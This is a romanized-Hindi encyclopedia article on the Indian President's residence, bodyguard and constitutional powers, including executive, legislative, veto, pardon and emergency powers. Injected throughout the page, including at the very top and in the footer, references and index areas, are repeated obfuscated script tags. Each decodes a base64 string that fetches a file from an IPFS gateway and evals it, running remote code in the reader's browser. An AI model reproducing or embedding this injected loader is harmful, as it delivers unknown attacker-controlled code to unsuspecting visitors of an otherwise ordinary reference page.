  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rashtrapati bhavan vastukala ka utkrisht namoona hai. is bhavan ke nirman ki soch sarvapratham 1911 mean us samay utpann huee jab dilli darabar ne nirnay kiya ki bharat ki rajadhani kolakata se dilli sthanantarit ki jaegi. isi ke sath mean yah bhi nirnay liya gaya ki nee dilli mean british vayasaray ke rahane ke lie ek alishan bhavan ka nirman kiya jaega.

rashtrapati ke aangarakshak

rashtrapati ki suraksha ke lie aangarakshakoan ki vyavastha hai. is aangarakshak daste ka gathan sarvapratham 1773 mean gavarnar janaral hestigs ne banaras mean kiya tha. prarambh mean is daste mean 50 javan aur 50 gho de shamil kiye gaye the. bad mean banaras ke raja chet sianh dvara is daste mean 50 javan aur 50 gho de shamil kar liye jane ke bad inaki sankhya 100 ho gee. pratham vishvayuddh se poorv yah sankhya 1845 thi, jo kalantar mean badhakar 1929 ho gee. vartaman mean rashtrapati ke aangarakshak daste mean 4 adhikari, 14 jooniyar kamishand adhikari aur 161 javanoan ki tuk di shamil hai.

rashtrapati ke suraksha baloan ko 1784 tak gavarnar janaral ka badigard kaha jata tha. 1858 mean ise vayasaray ka badigard kaha jane laga. 1944 tak ate-ate isaka nam '44vian divijan nigarani skav aaudran' p d gaya. 1947 mean ek bar phir is daste ko 'gavarnar janaral badigard' kaha jane laga. lekin 21 janavari, 1950 ko bharat ko ganatantr ghoshit kiye jane ke sath hi is daste ko 'rashtrapati ka aangarakshak' ke roop mean namaankit kar diya gaya.

rashtrapati ke aangarakshak ke daste ke rejimeant ka rang nila aur gadha lal (mairoon) hai. is daste ka amar vaky 'bharat mata ki jay' hai. vartaman mean rashtrapati ke aangarakshak dastean mean sikkh, jat aur rajapoot sahit lagabhag sabhi rejimeant ke javan aur adhikari karyarat haian.

shaktiyaan tatha adhikar

bharatiy sanvidhan dvara rashtrapati ko nimnalikhit shaktiyaan tatha adhikar pradan kiye gaye haian–

karyapalika shaktiyaan

sanvidhan ke anuchchhed 73 ke anusar sangh ki karyapalika shakti rashtrapati mean nihit hai aur vah apani is shakti ka prayog apane adhinasth pradhikariyoan ke madhyam se karata hai. yahaan adhinasth pradhikari ka tatpary kendriy mantrimandal se hai. rashtrapati ki karyapalika shaktiyoan ko nimnalikhit tin bhagoan mean vibhajit kiya ja sakata hai–

mantriparishad ka gathan

anuchchhed 74 ke anusar rashtrapati sangh ki karyapalika shakti ke sanchalan mean salah dene ke lie mantriparishad ka gathan karata hai, jisaka adhyaksh pradhanamantri hota hai. samanyat: rashtrapati aise vyakti ko pradhanamantri ke pad par niyukt karata hai jo ki lokasabha mean bahumat dal ka neta ho. is prakar niyukt kiye gaye pradhanamantri ki salah par vah mantriparishad ke any sadasyoan ki niyukti karata hai. sath hi vah pradhanamantri ki salah par mantriparishad ke kisi sadasy ko barkhast kar sakata hai. samanyat: yah pratha rahi hai ki pradhanamantri lokasabha ka sadasy hota hai, kyoanki mantriparishad lokasabha ke prati uttaradayi hota hai, lekin rashtrapati ko yah adhikar hai ki yadi lokasabha mean bahumat prapt dal kisi aise vyakti ko apana neta chunata hai, jo lokasabha ka sadasy nahian hai ya rajyasabha ka sadasy hai, to rashtrapati aise vyakti ko pradhanamantri niyukt karata hai, lekin is prakar niyukt kiye gaye vyakti ko 6 mah ke aantargat sansad ka sadasy hona p data hai. isi tarah pradhanamantri ki salah par rashtrapati aise vyakti ko mantriparishad mean shamil kar sakata hai, jo ki sansad ka sadasy nahian hai. yadi aisa vyakti mantriparishad mean shamil kiya jata hai to use chh: mah ke aantargat sansad ke kisi sadan ka sadasy banana p data hai. jab kabhi aisi sthiti utpann ho ki lokasabha mean kisi bhi dal ko spasht bahumat n mile ya lokasabha mean pesh kiye gaye avishvas prastav ke parit hone ke karan mantriparishad ko tyagapatr dena p de, to rashtrapati kis vyakti ko pradhanamantri niyukt karega, is sambandh mean sanvidhan mean koee pravadhan nahian hai. yahaan par rashtrapati aise vyakti ko pradhanamantri niyukt kar sakata hai, jisake sambandh mean use vishvas ho ki vah lokasabha mean apana bahumat siddh karata hai. is sambandh mean kuchh had tak rashtrapati ko visheshadhikar prapt haian. isi visheshadhikar ke prayog mean rashtrapati ne 1979 mean charan sianh ko pradhanamantri niyukt kiya tha. charan sianh ki pradhanamantri pad par niyukti ko is adhar par nyayalay mean chunauti di gayi thi ki vishvas mat prapt karane par hi unhean pradhanamantri ke roop mean niyukt kiya jana chahie tha, kintu nyayalay ne apane nirnay mean kaha ki pradhanamantri ki niyukti ke sambandh mean yah poorvavarti shart nahian hai ki lokasabha mean vishvas mat prapt kiya jaye. isi tarah 1989 mean vi. pi. sianh, 1991 mean pi. vi. narasianharav, 1996 mean atal bihari vajapeyi aur 1996 mean hi ech di devagau da tatha 1997 mean indrakumar gujaral ko pradhanamantri par par niyukt kiya gaya tha. bad mean 1998 mean 12vian lokasabha ke gathan ke bad rashtrapati ne atal bihari vajapeyi ko pradhanamantri pad par niyukt kiya tha.

niyukti sambandhi shakti

sanvidhan dvara rashtrapati ko yah shakti di gee hai ki vah sangh se sambandhit mahattvapoorn padoan par niyuktiyaan karean. rashtrapati is shakti ke prayog mean kee padadhikariyoan, jaise- mahanyayavadi, niyantrak-mahalekha parikshak, vitt ayogoan ke sadasyoan, sangh lok seva ayog ke adhyaksh tatha any sadasyoan, sanyukt rajy lok seva ayog ke adhyaksh tatha any sadasyoan, mukhy nirvachan ayukt, any nirvachan ayuktoan, uchchatam nyayalay tatha uchch nyayalayoan ke nyayadhashoan, rashtriy alpasankhyak ayog ke adhyaksh tatha sadasyoan, rashtriy mahila ayog ke adhyaksh tatha sadasyoan, rashtriy manavadhikar ayog ke adhyaksh tatha sadasyoan, anusoochit jati evan anusoochit janajati ayog ke adhyakshoan tatha sadasyoan, rashtriy alpasankhyak ayog ke adhyaksh tatha sadasyoan, rajyoan ke rajyapaloan, sangh rajyakshetroan ke uparajyapaloan ya prashasakoan ki niyukti kar sakata hai. rashtrapati ye niyuktiyaan mantriparishad ki salah se karata hai. vah apane dvara niyukt pradhikariyoan tatha adhikariyoan ko padamukt kar sakata hai.

ayogoan ka gathan

rashtrapati ko ayogoan ko gathit karane ki shaktiyaan bhi pradan ki gee haian. yah bharat ke rajy kshetr mean samajik aur shaikshanik drishti se pichh de varg ki dashaoan ka anveshan karane ke lie ayog, rajabhasha par prativedan dene ke lie ayog, anusoochit kshetroan ke prashasan par riport dene ke lie tatha rajyoan mean anusoochit janajatiyoan ke kalyan sambandhi kriyakalapoan par riport dene ke lie ayog ka gathan kar sakata hai.

sainik shakti

sangh ke rakshabaloan ka samadesh rashtrapati mean nihit hota hai. vah raksha baloan ka pramukh hota hai. rashtrapati apane mean nihit raksha baloan ka samadesh us vidhi ke anusar prayukt karata hai, jise sansad banaye. vah raksha baloan ke pramukhoan ko bhi niyukt karata hai.

rajanayik shaktiyaan

any deshoan ke sath mean bharat ka sanvyavahar rashtrapati ke nam se kiya jata hai. aantarrashtriy mamaloan mean rashtrapati bharat ka pratinidhitv karata hai. any deshoan mean bheje jane vale rajadoot tatha uchchayukt rashtrapati ke dvara niyukt jate haian. sath hi any deshoan se bharat mean niyukti par ane vale rajadootoan v uchchayuktoan ka svagat bhi rashtrapati ke dvara kiya jata hai. jab any desh ke rajadoot ya uchchayukt bharat mean niyukt hokar ate haian, to ve apana 'pratyay patr' rashtrapati ke samaksh pesh karate haian. samast aantarrashtriy qarar aur sandhiyaan rashtrapati ke nam se ki jati haian, lekin rashtrapati apani rajanayik shakti ka prayog mantriparishad ki salah par karata hai.

vidhayi shaktiyaan evan kary

sanvidhan dvara rashtrapati ko vyapak vidhayi shaktiyaan pradan ki gayi haian, jinhean nimnalikhit bhagoan mean vibhajit kiya ja sakata hai-

sansad se sambandhit shakti

rashtrapati sansad ka abhinn aang hai, kyoanki sansad ka gathan rashtrapati aur lokasabha tatha rajyasabha se milakar hota hai. sansad se sambandhit rashtrapati ki shaktiyaan nimnalikhit haian-

  1. anuchchhed 331 ke tahat vah lokasabha mean aangl-bharatiy samuday ke do sadasyoan ko namajad kar sakata hai, yadi usake vichar mean lokasabha mean us samooday ko uchit pratinidhitv nahian mila hai.
  2. vah rajyasabha mean 12 sadasyoan ko manonit kar sakata hai.[2]
  3. yadi sansad ke kisi sadasy ki ayogyata ke sambandh mean, dal-badal ke adhar par ke sivay, saval utpann hota hai, to usaka nirnay rashtrapati karega, lekin rashtrapati aisa nirnay karane ke lie nirvachan ayog ki ray lega.
  4. rashtrapati sansad ke satr ko ahat karata hai, lekin sansad ke ek satr ki antit baithak aur agami satr ki pratham baithak ke lie niyat tarikh ke bich chh: mas ka antar nahian hona chahie.
  5. vah sadanoan ya kisi sadan ka satravasan kar sakata hai tatha lokasabha ka vighatan kar sakata hai.
  6. vah sansad ke kisi ek sadan mean ya sansad ke sanyukt adhiveshan mean abhibhashan kar sakata hai.
  7. sansad mean lambit kisi vidheyak ke sambandh mean sansad ke donoan sadanoan ya kisi sadan ko sandesh bhej sakata hai aur usake sandesh par yathashighr vicharan kiya jata hai.
  8. vah lokasabha ke pratyek sadharan nirvachan ke pashchath pratham satr ke arambh mean aur pratyek varsh ke pratham satr ke arambh mean sansad ke sanyukt adhiveshan mean abhibhashan kar sakata hai.
  9. sansad dvara koee vidheyak parit kiye jane par use rashtrapati ke samaksh anumati ke lie bheja jata hai. rashtrapati ya to us par apani anumati deta hai ya vidheyak par pun: vichar karane ke lie sansad ko vapas bhejata hai. yadi sansad dvara pun: vidheyak parit kar diya jata hai to rashtrapati us par apani anumati dene ke lie badhy hota hai.
vidheyak ko pesh karane ki sifarish karane ki shakti

nimnalikhit vidheyak rashtrapati ki sifarish ke bina sansad mean pesh nahian kiye ja sakate-

  1. dhan vidheyak, lekin kisi kar ko ghatane ya samapt karane ka pravadhan karane vale vidheyak rashtrapati ki sifarish ke bina sansad mean pesh kiye ja sakate haian.
  2. rajy ka nirman karane ya vidyaman rajy ke kshetr, sima ya nam mean parivartan karane vale vidheyak.
  3. jis karadhan mean rajy ka hit ho, us karadhan par prabhav dalane vale vidheyak.
  4. jis vidheyak ko adhiniyamit aur pravartit karane se bharat ki sanchit nidhi se vyay karana p dega, sambandhi vidheyak.
  5. bhoomi adhigrahan se sambandhit vidheyak.
  6. vyapar ki svatantrata par rok lagane vale rajy ka koee vidheyak.
rajy vidhan mandal ke dvara banayi jane vali vidhi ke sambandh mean rashtrapati ki shakti

rajy vidhan mandal dvara banayi jane vali vidhi ke sambandh mean rashtrapati ko nimnalikhit shaktiyaan prapt haian-

  1. yadi rajy vidhan mandal koee aisa vidheyak parit karata hai, jisase uchch nyayalay ki adhikarita prabhavit hoti hai, to rajyapal us vidheyak par anumati nahian dega aur use rashtrapati ki anumati ke lie arakshit kar dega.
  2. rajy vidhan mandal ke dvara sampatti prapt karane ke lie parit vidheyak ko rashtrapati ki anumati ke lie arakshit rakha jaega.
  3. kisi rajy ke andar ya doosare rajyoan ke sath vyapar adi par pratibandh lagane vale vidheyakoan ko vidhanasabha mean pesh karane ke pahale rashtrapati ki anumati leni hogi.
  4. vittiy apat sthiti ke pravartan ki sthiti mean rashtrapati nirdesh de sakata hai ki sabhi dhan vidheyakoan ko rajy vidhan sabha mean pesh karane ke pahale us par rashtrapati ki anumati li jae.
adhyadesh jari karane ki shakti

sanvidhan ke anuchchhed 123 ke tahat rashtrapati ko adhyadesh jari karane ki shakti pradan ki gayi hai. rashtrapati dvara jari adhyadesh ka vahi prabhav hota hai, jo sansad dvara parit tatha rashtrapati ke dvara anumodit adhiniyam ko hota hai, lekin antar yah hota hai ki adhiniyam ka prabhav tab tak sthayi hota hai, jab tak ki sansad ke dvara ya rashtrapati ke adhyadesh dvara nirast n kar diya jae, isake viparit adhyadesh keval 6 mas tak hi pravartan mean rahata hai.

rashtrapati ke dvara adhyadesh sansad ke vishrantikal mean us samay jari kiya jata hai, jab rashtrapati ko yah vishvas ho jae ki aisi paristhiti utpann ho gayi hai, jisake anusar avilamb karravaee karana avashyak hai. rashtrapati ke dvara jari adhyadesh ka prabhav keval 6 mas tak hi rahata hai yadi 6 mas ke andar sansad dvara anumodit n kar diya jae. sansad dvara anumodit kiye jane par vah rashtrapati ki anumati prapt karane ke bad adhiniyam ho jata hai. yadi sansad ke adhiveshan ke prarambh ke bad pahale jari kiye gaye adhyadesh ko sansad dvara anumodit kiye jane ke lie 6 mas ke andar sansad mean pesh nahian kiya jata hai, to adhyadesh prabhavahin ho jata hai. yadi sansad ke ek sadan ka satr chal raha hai aur doosare sadan ka satr sthagit ho, tab bhi adhyadesh jari kiya ja sakata hai, kyoanki sansad ka ek sadan koee vidheyak parit kar use qanoon banane ke lie saksham nahian hai.

niyam banane ki shakti

rashtrapati ko nimnalikhit ke sambandh mean qanoon banane ki shakti hai-

  1. rashtrapati ke nam se kiye jane vale aur nishpadit adeshoan tatha any likhatoan ko adhipramanit karane ke dhang ke sambandh mean.
  2. rajyasabha ke sabhapati tatha lokasabha ke adhyaksh se paramarsh karake donoan sadanoan ki sanyukt baithakoan se sambandhit aur unamean paraspar sanchar se sambandhit prakriya ke niyam.
  3. sangh ya rajy ki seva karane vale vyaktiyoan ki bharti aur seva ki shartoan ko viniyamit karane vale niyam.
  4. sanyukt lok seva ayog tatha sangh lok seva ayog ke sadasyoan karmachariyoan ki seva shartoan ko viniyamit karane vale niyam.

rashtrapati ki vito shakti

sanvidhan dvara rashtrapati ko spashtat: vito ki shakti pradan nahian ki gayi hai lekin sanvidhan ke anusar kiye gaye karyoan tatha sthapit paramparaoan ke anusar yah mana jata hai ki rashtrapati ko nimnalikhit tin prakar ki vito shaktiyaan prapt haian-

poorn vito-

jab rashtrapati kisi vidheyak ko anumati nahian deta hai to yah kaha jata hai ki rashtrapati ne poorn vito ki shakti ka prayog kiya hai. rashtrapati is vito ki shakti ka prayog gair sarakari vidheyak par anumati n pradan karake kar sakata hai ya aise vidheyak par anumati n pradan karake kar sakata hai jo aisi sarakar ke dvara parit kiya gaya ho, jo vidheyak par anumati dene ke poorv hi tyagapatr de de aur nayi sarakar vidheyak par anumati n dene ki sifarish kare.

nilambanakari vito

jab rashtrapati kisi vidheyak ke prabhav ko nilambit rakhane ke lie anumati dene hetu apane pas preshit vidheyak ko sansad ke pas punarvichar ke lie bhejata hai, to yah kaha jata hai ki unhoanne nilambanakari vito ka prayog kiya hai.

jebi vito-

is p aauket vito bhi kaha jata hai. jab rashtapati sansad dvara parit karake anumati ke lie bheje ge vidheyak par n to anumati deta hai aur n hi use punarvichar ke lie vapas bhejata hai to yah kaha jata hai ki rashtrapati ne jebi ya p aauket vito ka prayog kiya hai. is vito ka prayog rashtrapati (jnani zail sianh) ne 1986 mean sansad dvara parit bharatiy dak (sanshodhan) adhiniyam ke sandarbh mean kiya hai. rashtrapati ne n to is par apani anumati di hai aur n hi ise sansad ke pas punarvichar ke lie bheja hai.

vittiy shaktiyaan

rashtrapati ko sanvidhan dvara kee vittiy shaktiyaan pradan ki gayi haian. dhan vidheyak tatha vitt vidheyak ko tabhi lokasabha mean pesh kiya jata hai jab rashtrapati usaki sifarish kare. jis vidheyak ko pravartit kiye jane par bharat ki sanchit nidhi mean vyay karana p de, us vidheyak ko sansad dvara tabhi parit kiya jaega, jab rashtrapati us vidheyak par vichar-vimarsh karane ki sifarish sansad se karean. jis karadhan mean rajy ka hit sambaddh hai, us karadhan se sambandhit vidheyak ko rashtrapati ki anumati se hi lokasabha mean pesh kiya ja sakata hai. isake atirikt rashtrapati pratyek varsh vittamantri ke madhyam se varsh ka bajat lokasabha mean pesh karavata hai tatha pratyek paanch varsh ki samapti par vitt ayog ka gathan karata hai. rashtrapati vitt ayog dvara ki gayi pratyek sifarish ko, us par kiye gaye spashtikaran jnapan sahit sansad ke pratyek sadan ke samaksh rakhavata hai.

nyayik shaktiyaan

sanvidhan dvara rashtrapati ko tin prakar ki nyayik shaktiyaan pradan ki gee haian, jinaka vivaran nimn prakar se hai-

nyayadhishoan ki niyukti karane ki shakti

anuchchhed 124 ke anusar rashtrapati ko uchchatam nyayalay tatha uchch nyayalay ke nyayadhishoan ko niyukt karane ki shakti hai. uchchatam nyayalay ke mukhy nyayadhish ki niyukti karane ke lie rashtrapati uchchatam nyayalay tatha uchch nyayalay ke aise nyayadhishoan se paramarsh karega, jinase paramarsh karana vah avashyak samajhe. mukhy nyayadhish ke atirikt any nyayadhishoan ki niyukti ke poorv vah mukhy nyayadhish se paramarsh karega. lekin sanvidhan mean spasht roop se yah pravadhan nahian kiya gaya hai ki rashtrapati mukhy nyayadhish ke paramarsh se badhy hoange ya nahian. lekin 6 aktoobar, 1993 ko diye gaye ek nirnay mean uchchatam nyayalay ne spasht kiya hai ki

  • uchchatam nyayalay ke varishthatam nyayadhish ko hi desh ka mukhy nyayadhish niyukt kiya jana chahie,
  • uchchatam nyayalay ke any nyayadhishoan ki niyukti ke sambandh mean rashtrapati uchchatam nyayalay ke mukhy nyayadhish ki ray manane ke lie badhy hai.

rashtrapati uchch nyayalayoan ke mukhy nyayadhishoan tatha any nyayadhishoan ko niyukt karata hai. uchch nyayalayoan ke mukhy nyayadhishoan ko niyukt karate samay rashtrapati bharat ke mukhy nyayadhish tatha rajy ke rajyapal se paramarsh karata hai, jabaki any nyayadhishoan ki niyukti karate samay vah bharat ke mukhy nyayadhish, rajy ke rajyapal tatha sambandhit uchch nyayalay ke mukhy nyayadhish se paramarsh karata hai. 6 aktoobar, 1993 ko diye gaye nirnay ke anusar rashtrapati aisi niyuktiyaan karate samay bharat ke mukhy nyayadhishoan ki ray ko variyata dene ke lie badhy hai. rashtrapati uchch nyayalay ke nyayadhishoan ka ek uchch nyayalay se doosare uchch nyayalay mean sthanantaran kar sakata hai.

kshamadan ki shakti

sanvidhan ke anuchchhed 72 ke tahat rashtrapati ko kshama tatha kuchh mamaloan mean dandadesh ke nilamban, parihar ya laghukaran ki shakti pradan ki gayi hai. rashtrapati ko nimnalikhit mamale mean kshama, tatha doshasiddhi ke nilamban, parihar ya laghukaran ki shakti prapt hai-

  1. sena nyayalayoan ke dvara diye gaye dand ke mamale mean.
  2. mrityu dandadesh ke sabhi mamaloan mean.
  3. un sabhi mamaloan mean, jinhean dand ya dandadesh aise vishay sambandhi kisi vidhi ke viruddh aparadh ke lie diya gaya hai, jis vishay tak sangh ki karyapalika shakti ka vistar hai.

kshama ka tatpary aparadh ke dand se mukti pradan karana hai. pratilamban ka tatpary vidhi dvara vihit dand ke sthayi sthagan se hai. parihar ke aantargat dand ki prakriti mean parivartan kie bina dand ki matra ko kam kiya jana hai. laghukaran ka arth dand ki prakriti mean parivartan karana hai. rashtrapati apani is shakti ka prayog mantriparishad ki salah par karata hai aur rashtrapati dvara yadi is shakti ka prayog kiya jata hai to usaka nyayik punarvilokan nyayalay dvara kiya ja sakata hai.

uchchatam nyayalay se paramarsh lene ka adhikar

anuchchhed 143 ke anusar jab rashtrapati ko aisa pratit ho ki vidhi ya tathy ka koee aisa prashn utpann hua hai ya utpann hone ki sambhavana hai, jo aisi prakriti ka aur vyapak mahattv ka hai ki us par uchchatam nyayalay ki ray prapt karana samichin hai, tab vah us prashn par uchchatam nyayalay ki ray maang sakata hai.

apatakalin shakti

rashtrapati ko nimnalikhit apatakalin shaktiyaan pradan ki gayi haian-

  1. rashtriy apat ghoshit karane ki (anuchchhed 352).
  2. rajyoan mean sanvaidhanik tantr ki viphalata par vahaan apatakal ghoshit karane ki (anuchchhed 356).
  3. vittiy apat ghoshit karane ki (anuchchhed 360).

rashtrapati ka visheshadhikar

sanvidhan dvara rashtrapati ko yah visheshadhikar pradan kiya gaya hai ki vah apane pad ke kisi kartavy ke nirvahan tatha shaktiyoan ke prayog mean kiye jane vale kisi kary ke lie nyayalay ke prati uttaradayi nahian hoga.

sanvaidhanik sthiti

sanvidhan ki bhavana tatha sanvidhan sabha mean isake sadasyoan dvara kiye gaye vicharoan ke anusar rashtrapati rashtr ka keval aupacharik pradhan hoga, lekin mool sanvidhan ke anuchchhed 74 (1) mean yah pravadhan kiya gaya tha ki rashtrapati ko usake krityoan ka prayog karane mean sahayata aur salah dene ke lie ek mantriparishad hogi, jisaka pradhan pradhanamantri hoga. isaka yah arth lagaya jata tha ki rashtrapati mantriparishad ki salah manane ke lie badhy nahian hai aur vah apane vivek se bhi sanvidhan ke pravadhanoan ke anusar apane krityoan ka nirvahan kar sakata hai. isi pravadhan ke karan pratham pradhanamantri pandit javahar lal neharoo tatha tatkalin rashtrapati d aau. rajendr prasad ke bich hindoo kod tatha chin se sambandh adi mamaloan mean kafi matabhed tha, jisase donoan ke bich sangharsh ki sthiti utpann ho gayi thi. isake bavajood 1976 tak sanvidhan ke is pravadhan ko qayam rakha gaya, parantu 42vean sanvidhan sanshodhan ke dvara anuchchhed 74 (1) mean sanshodhan karake yah vyavastha ki gayi ki rashtrapati mantriparishad ki salah ke anusar hi kary karega aur is prakar rashtrapati ko mantriparishad ki salah ke anusar kary karane ke lie badhy kar diya gaya, kintu 44vean sanvidhan sanshodhan dvara anuchchhed 74 (1) mean yah vyavastha kar di gayi ki yadi rashtrapati ko mantriparishad dvara koee salah di jati hai to vah mantriparishad ki di gayi salah par punarvichar karane ke lie kah sakata hai. is prakar mantriparishad dvara punarvichar ke bad ki gayi salah par rashtrapati kary karane ke lie badhy hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. not - bharatiy sanvidhan ke anusar varsh 2002 ke rashtrapati chunav ke lie bhi 1971 ki janaganana ke aank de hi many the, keval jharakhand, uttaraanchal aur chhattisagadh jaise naye bane tin rajyoan ke vidhayakoan ke matoan ka mooly alag se tay kiya gaya hai.
  2. (anuchchhed 80, 1)

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>